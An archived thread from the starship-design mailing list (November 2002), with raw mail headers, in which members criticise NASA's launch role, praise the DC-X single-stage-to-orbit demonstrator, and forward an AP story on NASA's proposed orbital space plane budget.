Received: from imo-m09.mx.aol.com (imo-m09.mx.aol.com [64.12.136.164]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAH103D008622 for ; Sun, 10 Nov 2002 09:01:01 -0800 (PST) Received: from KellySt@aol.com by imo-m09.mx.aol.com (mail_out_v34.13.) id r.168.16e2cd39 (17079); Sun, 10 Nov 2002 12:00:46 -0500 (EST) Message-ID: <168.16e2cd39.2affeabd@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: clmanges@yahoo.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 12:00:45 EST In a message dated 11/9/02 11:06:44 PM, clmanges@yahoo.com writes: >Lee went into some detail about how NASA's percentage of all launches keeps >getting smaller. To me, this looks like a function of the number of countries >and corporations wanting to put communications satellites in orbit -- I'm >guessing that they find it cheaper and quicker than they could get the >service from NASA, and without the extra red tape as well. Course the question really is, why have we no competative launch services. Likely its just NASA preserving turf, and not wanting to fund research to unseat themselves. A better question is how to start a industry big enough to attrack commercials enough to shove NASA out of the way. >He also seems to disparage the Russians for selling astronaut tickets to >a few rich folks who just want an exotic vacation trip. Hey, more power >to 'em! The Russian economy is a mess, and by some accounts, their government >went straight from Communism to Mafia, so if this is a way for them to >fund some space work, why not? True, they haven't been pulling their weight >with the ISS, but again, their economy . . . well, they're still fighting >Chechens. Who wants to bet that NASA won't get shaved a bit to make room >in the billfold for kicking Sadam's ass? Cruise missiles are $1M each, >last I heard. > >Bottom line of all this is -- FOLLOW THE MONEY! NASA is a government agency. Cost means nothing, politics means everything. Also the NASA's budgets to small to mater. Dept of Ag spends moer then that keeping food of the market to keep up prices. ;) > >Keep looking up, > >Curtis Kelly >From VM Mon Nov 11 10:58:08 2002 Content-Length: 335 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""335"" ""Sunday"" ""10"" ""November"" ""2002"" ""12:00:47"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""10"" ""Re: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAH1Z3D008819 for ; Sun, 10 Nov 2002 09:01:35 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAH1ZDP008818 for starship-design-outgoing; Sun, 10 Nov 2002 09:01:35 -0800 (PST) Received: from imo-m10.mx.aol.com (imo-m10.mx.aol.com [64.12.136.165]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAH1X3D008775 for ; Sun, 10 Nov 2002 09:01:34 -0800 (PST) Received: from KellySt@aol.com by imo-m10.mx.aol.com (mail_out_v34.13.) id 4.21.2719d854 (17079); Sun, 10 Nov 2002 12:00:47 -0500 (EST) Message-ID: <21.2719d854.2affeabf@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, clmanges@yahoo.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 12:00:47 EST In a message dated 11/9/02 11:54:29 PM, lparker@cacaphony.net writes: >For my part, I would be happy to see NASA out of the Space Launch business >entirely. I can see valid reaons for DOD to retain indigenous launch >capability, but NASA needs to be out of the launch business. > >Lee Oh hell yeah! Give it to fed Ex or something. >From VM Mon Nov 11 10:58:08 2002 Content-Length: 707 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""707"" ""Sunday"" ""10"" ""November"" ""2002"" ""12:48:21"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""24"" ""RE: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAImt3D009257 for ; Sun, 10 Nov 2002 10:48:55 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAIms5s009256 for starship-design-outgoing; Sun, 10 Nov 2002 10:48:54 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAIms3D009250 for ; Sun, 10 Nov 2002 10:48:54 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18Ax8e-0003n7-00; Sun, 10 Nov 2002 10:48:53 -0800 Message-ID: <00f301c288e9$be5627b0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <21.2719d854.2affeabf@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , , Subject: RE: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 12:48:21 -0600 Careful, if they hear you, it will end up in the hands of the US Postal Service... Lee > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Sunday, November 10, 2002 11:01 AM > To: lparker@cacaphony.net; clmanges@yahoo.com; > starship-design@lists.uoregon.edu > Subject: Re: starship-design: re: scrap the shuttle > > > > In a message dated 11/9/02 11:54:29 PM, lparker@cacaphony.net writes: > > >For my part, I would be happy to see NASA out of the Space > Launch business > >entirely. I can see valid reaons for DOD to retain indigenous launch > >capability, but NASA needs to be out of the launch business. > > > >Lee > > Oh hell yeah! Give it to fed Ex or something. >From VM Mon Nov 11 10:58:08 2002 Content-Length: 641 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""641"" ""Sunday"" ""10"" ""November"" ""2002"" ""12:54:46"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""19"" ""starship-design: Cheap Access to Space"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAItJ3D010596 for ; Sun, 10 Nov 2002 10:55:19 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAItJko010595 for starship-design-outgoing; Sun, 10 Nov 2002 10:55:19 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAItI3D010590 for ; Sun, 10 Nov 2002 10:55:18 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18AxEs-0003hu-00 for starship-design@lists.uoregon.edu; Sun, 10 Nov 2002 10:55:18 -0800 Message-ID: <00f901c288ea$a4324d40$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Cheap Access to Space Date: Sun, 10 Nov 2002 12:54:46 -0600 What I don't understand, is that if anyone REALLY wants the X-prize and intends on doing anything with the hardware after they win (or even if they don't), why don't they but the rights to the DC-X? It was FLYING. It is closer than anything else out there to managing SSTO, quick turn around and minimal ground crew. Heck, even during testing the ENTIRE ground crew, monitoring crew and engineers on site were less than a tenth of a typical shuttle launch. Worse if you factor in all of the people involved in refurbing the shuttles between trips Lee The real problem is not whether machines think but whether men do. - B.F. Skinner >From VM Mon Nov 11 10:58:08 2002 Content-Length: 859 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""859"" ""Sunday"" ""10"" ""November"" ""2002"" ""15:10:41"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""31"" ""Re: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKBW3D005902 for ; Sun, 10 Nov 2002 12:11:32 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAKBWhs005901 for starship-design-outgoing; Sun, 10 Nov 2002 12:11:32 -0800 (PST) Received: from imo-m08.mx.aol.com (imo-m08.mx.aol.com [64.12.136.163]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKBV3D005875 for ; Sun, 10 Nov 2002 12:11:31 -0800 (PST) Received: from KellySt@aol.com by imo-m08.mx.aol.com (mail_out_v34.13.) id 4.190.106747c3 (3657); Sun, 10 Nov 2002 15:10:42 -0500 (EST) Message-ID: <190.106747c3.2b001741@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, KellySt@aol.com, clmanges@yahoo.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 15:10:41 EST That would be NASA's hope. With them as the USPS. ;) In a message dated 11/10/02 1:49:09 PM, lparker@cacaphony.net writes: >Careful, if they hear you, it will end up in the hands of the US Postal >Service... > >Lee > >> -----Original Message----- >> From: KellySt@aol.com [mailto:KellySt@aol.com] >> Sent: Sunday, November 10, 2002 11:01 AM >> To: lparker@cacaphony.net; clmanges@yahoo.com; >> starship-design@lists.uoregon.edu >> Subject: Re: starship-design: re: scrap the shuttle >> >> >> >> In a message dated 11/9/02 11:54:29 PM, lparker@cacaphony.net writes: >> >> >For my part, I would be happy to see NASA out of the Space >> Launch business >> >entirely. I can see valid reaons for DOD to retain indigenous launch >> >capability, but NASA needs to be out of the launch business. >> > >> >Lee >> >> Oh hell yeah! Give it to fed Ex or something. >From VM Mon Nov 11 10:58:09 2002 Content-Length: 964 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""964"" ""Sunday"" ""10"" ""November"" ""2002"" ""15:14:17"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""30"" ""Re: starship-design: Cheap Access to Space"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKEU3D006594 for ; Sun, 10 Nov 2002 12:14:30 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAKETvl006593 for starship-design-outgoing; Sun, 10 Nov 2002 12:14:29 -0800 (PST) Received: from imo-d09.mx.aol.com (imo-d09.mx.aol.com [205.188.157.41]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKES3D006548 for ; Sun, 10 Nov 2002 12:14:29 -0800 (PST) Received: from KellySt@aol.com by imo-d09.mx.aol.com (mail_out_v34.13.) id 4.117.1a82bd35 (3657); Sun, 10 Nov 2002 15:14:17 -0500 (EST) Message-ID: <117.1a82bd35.2b001819@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Cheap Access to Space Date: Sun, 10 Nov 2002 15:14:17 EST In a message dated 11/10/02 1:56:11 PM, lparker@cacaphony.net writes: >What I don't understand, is that if anyone REALLY wants the X-prize and >intends on doing anything with the hardware after they win (or even if >they don't), why don't they but the rights to the DC-X? > >It was FLYING. But it was a long way from orbital ops. And Boeing likely wouldn't sell. ;) >It is closer than anything else out there to managing SSTO, quick turn >around and minimal ground crew. Heck, even during testing the ENTIRE ground >crew, monitoring crew and engineers on site were less than a tenth of a >typical shuttle launch. Worse if you factor in all of the people involved >in refurbing the shuttles between trips > > >Lee Actually it was closer to a thousanth those durring a shuttle flight. The estimates were a full production DC-X like SSTO would take 100 -200 man days of labor to turn around between flights. Suttle takes over a thousand man years!!! >From VM Mon Nov 11 10:58:09 2002 Content-Length: 1307 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1307"" ""Sunday"" ""10"" ""November"" ""2002"" ""14:51:36"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""47"" ""RE: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKqA3D019013 for ; Sun, 10 Nov 2002 12:52:10 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAKqAPg019012 for starship-design-outgoing; Sun, 10 Nov 2002 12:52:10 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKqA3D019007 for ; Sun, 10 Nov 2002 12:52:10 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18Az3w-0000NZ-00; Sun, 10 Nov 2002 12:52:09 -0800 Message-ID: <00fb01c288fa$f6ab05c0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <190.106747c3.2b001741@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , , Subject: RE: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 14:51:36 -0600 Nah, the USPS at least tries to make a profit, their just inept. NASA is both inept and stupid... Lee > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Sunday, November 10, 2002 2:11 PM > To: lparker@cacaphony.net; KellySt@aol.com; clmanges@yahoo.com; > starship-design@lists.uoregon.edu > Subject: Re: starship-design: re: scrap the shuttle > > > That would be NASA's hope. With them as the USPS. > > ;) > > > In a message dated 11/10/02 1:49:09 PM, lparker@cacaphony.net writes: > > >Careful, if they hear you, it will end up in the hands of > the US Postal > >Service... > > > >Lee > > > >> -----Original Message----- > >> From: KellySt@aol.com [mailto:KellySt@aol.com] > >> Sent: Sunday, November 10, 2002 11:01 AM > >> To: lparker@cacaphony.net; clmanges@yahoo.com; > >> starship-design@lists.uoregon.edu > >> Subject: Re: starship-design: re: scrap the shuttle > >> > >> > >> > >> In a message dated 11/9/02 11:54:29 PM, > lparker@cacaphony.net writes: > >> > >> >For my part, I would be happy to see NASA out of the Space > >> Launch business > >> >entirely. I can see valid reaons for DOD to retain > indigenous launch > >> >capability, but NASA needs to be out of the launch business. > >> > > >> >Lee > >> > >> Oh hell yeah! Give it to fed Ex or something. >From VM Mon Nov 11 10:58:09 2002 Content-Length: 1084 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1084"" ""Sunday"" ""10"" ""November"" ""2002"" ""14:57:23"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""35"" ""RE: starship-design: Cheap Access to Space"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKvu3D021490 for ; Sun, 10 Nov 2002 12:57:56 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAKvu1R021489 for starship-design-outgoing; Sun, 10 Nov 2002 12:57:56 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAKvt3D021483 for ; Sun, 10 Nov 2002 12:57:56 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18Az9W-0007JG-00; Sun, 10 Nov 2002 12:57:54 -0800 Message-ID: <00fc01c288fb$c4d5ccf0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <117.1a82bd35.2b001819@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , Subject: RE: starship-design: Cheap Access to Space Date: Sun, 10 Nov 2002 14:57:23 -0600 > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Sunday, November 10, 2002 2:14 PM > To: lparker@cacaphony.net; starship-design@lists.uoregon.edu > Subject: Re: starship-design: Cheap Access to Space > > > >It was FLYING. > > But it was a long way from orbital ops. And Boeing likely > wouldn't sell. It was part (actually, the first) of the DC series and was never meant to actually reach orbit. Nevertheless, it was under budget, on time and showed actual promise of becoming a real system someday. Its only problem was that it wasn't sexy. OBTW, McDonnell Douglas was the contractor and not surprisingly, it was managed by the Air Force at first. > Actually it was closer to a thousanth those durring a shuttle > flight. > > The estimates were a full production DC-X like SSTO would > take 100 -200 man > days of labor to turn around between flights. Suttle takes > over a thousand > man years!!! The DC-XA performed a 24 turn around between flights just before it was cancelled. They must have pulled one heck of an all nighter! Lee >From VM Mon Nov 11 10:58:09 2002 Content-Length: 1382 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1382"" ""Sunday"" ""10"" ""November"" ""2002"" ""21:22:41"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""47"" ""Re: starship-design: Cheap Access to Space"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAB2Mq3D022180 for ; Sun, 10 Nov 2002 18:22:52 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAB2MpsO022179 for starship-design-outgoing; Sun, 10 Nov 2002 18:22:51 -0800 (PST) Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAB2Mo3D022154 for ; Sun, 10 Nov 2002 18:22:51 -0800 (PST) Received: from KellySt@aol.com by imo-d02.mx.aol.com (mail_out_v34.13.) id 4.10.281ed5ff (25098); Sun, 10 Nov 2002 21:22:41 -0500 (EST) Message-ID: <10.281ed5ff.2b006e71@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, KellySt@aol.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: Cheap Access to Space Date: Sun, 10 Nov 2002 21:22:41 EST In a message dated 11/10/02 3:58:55 PM, lparker@cacaphony.net writes: >> >It was FLYING. >> >> But it was a long way from orbital ops. And Boeing likely >> wouldn't sell. > >It was part (actually, the first) of the DC series and was never meant >to >actually reach orbit. Nevertheless, it was under budget, on time and showed >actual promise of becoming a real system someday. Its only problem was >that >it wasn't sexy. OBTW, McDonnell Douglas was the contractor and not >surprisingly, it was managed by the Air Force at first. I know. I knew folks on the project. McDonnell Douglas was forced toi murge with Boeing. I.E. Boeing, who never liked the idea, now controls all of the DC-X data. McDonnell Douglas estimated they could get production DC-3 (productino SSTO cargo craft) rolling off a assembly line in 3 years and $3 billion. But thats way to much for a X prize contestant to come up with. >> Actually it was closer to a thousanth those durring a shuttle >> flight. >> >> The estimates were a full production DC-X like SSTO would >> take 100 -200 man >> days of labor to turn around between flights. Suttle takes >> over a thousand >> man years!!! > >The DC-XA performed a 24 turn around between flights just before it was >cancelled. They must have pulled one heck of an all nighter! > >Lee Hey, its still hell of a lot better then shuttle. ;) Kelly >From VM Mon Nov 11 10:58:09 2002 Content-Length: 271 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""271"" ""Sunday"" ""10"" ""November"" ""2002"" ""21:22:58"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""11"" ""Re: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAB2NA3D022260 for ; Sun, 10 Nov 2002 18:23:10 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAB2NA7V022259 for starship-design-outgoing; Sun, 10 Nov 2002 18:23:10 -0800 (PST) Received: from imo-r07.mx.aol.com (imo-r07.mx.aol.com [152.163.225.103]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAB2N93D022237 for ; Sun, 10 Nov 2002 18:23:09 -0800 (PST) Received: from KellySt@aol.com by imo-r07.mx.aol.com (mail_out_v34.13.) id 4.160.16d0c65a (25098); Sun, 10 Nov 2002 21:22:59 -0500 (EST) Message-ID: <160.16d0c65a.2b006e82@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, KellySt@aol.com, clmanges@yahoo.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: re: scrap the shuttle Date: Sun, 10 Nov 2002 21:22:58 EST In a message dated 11/10/02 3:53:14 PM, lparker@cacaphony.net writes: >Nah, the USPS at least tries to make a profit, their just inept. NASA is >both inept and stupid... > >Lee Why would eiather care if they make a profit? Its not like they get to keep any of it. >From VM Thu Nov 14 15:49:39 2002 Content-Length: 29184 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""29184"" ""Thursday"" ""14"" ""November"" ""2002"" ""17:36:37"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""575"" ""starship-design: NASA wants space plane, new shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAENbItD015117 for ; Thu, 14 Nov 2002 15:37:18 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAENbIUJ015115 for starship-design-outgoing; Thu, 14 Nov 2002 15:37:18 -0800 (PST) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAENbGtD015105 for ; Thu, 14 Nov 2002 15:37:17 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by harrier.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18CTXu-0007f2-00 for starship-design@lists.uoregon.edu; Thu, 14 Nov 2002 15:37:14 -0800 Message-ID: <002301c28c36$ad4ad380$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/related; boundary=""----=_NextPart_000_0024_01C28C04.62B06380"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: NASA wants space plane, new shuttle Date: Thu, 14 Nov 2002 17:36:37 -0600 This is a multi-part message in MIME format. ------=_NextPart_000_0024_01C28C04.62B06380 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0025_01C28C04.62B06380"" ------=_NextPart_001_0025_01C28C04.62B06380 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Legal Pad StationeryNASA wants space plane, new shuttle Thursday, November 14, 2002 Posted: 1:39 PM EST (1839 GMT) WASHINGTON (AP) -- NASA is proposing to spend $2.4 billion over the next four years to design a new orbital space plane to ferry astronauts between Earth and the International Space Station. In an amendment to the National Aeronautics and Space Administration's proposed 2003 budget, agency officials for the first time set a firm figure of $6.6 billion for completing assembly of the basic orbiting space station. That would bring the U.S. share of the international project to less than $25 billion, officials said. The precise cost of the space station, a project started during the Reagan administration, has been an unsettled issue for years between NASA and Congress. After the agency announced last year that it faced cost overruns that could reach more than $600 million, Congress put a $25 billion cap on the project. Sean O'Keefe, a former federal budget officer, was named NASA administrator in January with specific instructions from the White House to define and control the costs of the space station and other NASA programs. The core components of the plan In the budget amendment proposal, O'Keefe describes what he calls a ""new integrated space transportation plan"" that would complete the core components of the space station by 2004; extend the life of the aging space shuttle fleet; complete design of a new orbital space plane; and continue development of a new, reusable spacecraft and launch system to replace the shuttle. He said the amendment would not add to the proposed NASA 2003 budget of $15 billion, but would redirect some funds. O'Keefe said his plan inserts a ""systemic approach"" into NASA's space transportation activities, instead of having each element of space transportation acting as a separate program. ""All of the elements have a relationship to each other,"" O'Keefe said. Break down the costs The budget amendment calls for spending: � $1.6 billion to upgrade and improve the four-vehicle space shuttle fleet so it could operate until about 2012. The plan leaves open an option of extending shuttle usage into the 2020s. � $15.2 billion over the next decade or so to add a fifth shuttle flight to the annual schedule. The shuttle has been limited by budget constraints to four flights a year and nearly all have been dedicated to assembly of the space station. The added flight could be used to accelerate station assembly or to perform other missions that are not now possible. � $6.6 billion through 2006 to finish the basic assembly of the space station. This includes completion and installation by February 19, 2004, of Node 2, a U.S.-made cornerstone component to which European and Japanese components will be attached. ""Node 2 completion is a big deal for us,"" said O'Keefe. � $1.8 billion to support biological and physical research aboard the space station. � $2.4 billion to research and develop technologies needed to build a new space system to replace the shuttle. This money would continue a long-range effort to develop a reusable craft that could frequently fly into orbit with less preparation and effort than is required for the space shuttle. O'Keefe would not estimate the final cost of such a craft, but a chart released by the agency suggested it would first fly in 2015. � $2.4 billion to complete by 2004 the design of a new space plane that is intended specifically to ferry people in and out of space. O'Keefe said the design is still uncertain, but it would be a reusable spacecraft launched by expendable rockets. It could carry as many as 10 people. The plan calls for the craft to start operations sometime between 2008 and 2010. Some members of Congress have complained that the space station crew size has been limited to three, the maximum number that could crowd into the Russian Soyuz, an evacuation craft attached to the station as a safety measure. Since maintaining and operating the station requires almost the full-time efforts of the three-member crew, some in Congress say little science has been performed in the multibillion-dollar orbiting laboratory. An independent space plane could allow more people to live on the station and conduct more research. ---------------------------------------------------------------------------- ---- Copyright 2002 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Lee Once I knew where I was going, but now I have forgotten. Sometimes my mind wanders. Sometimes it goes alone, and other times it takes me along...this isn't one of those times... ------=_NextPart_001_0025_01C28C04.62B06380 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Legal Pad Stationery NASA wants space plane, new shuttle   Thursday, November 14, 2002 Posted: 1:39 PM = EST (1839=20 GMT)   WASHINGTON (AP) -- NASA is proposing to spend $2.4 billion over = the next=20 four years to design a new orbital space plane to ferry astronauts = between Earth=20 and the International Space Station.   In an amendment to the National Aeronautics and Space = Administration's=20 proposed 2003 budget, agency officials for the first time set a firm = figure of=20 $6.6 billion for completing assembly of the basic orbiting space = station. That=20 would bring the U.S. share of the international project to less than $25 = billion, officials said.   The precise cost of the space station, a project started during the 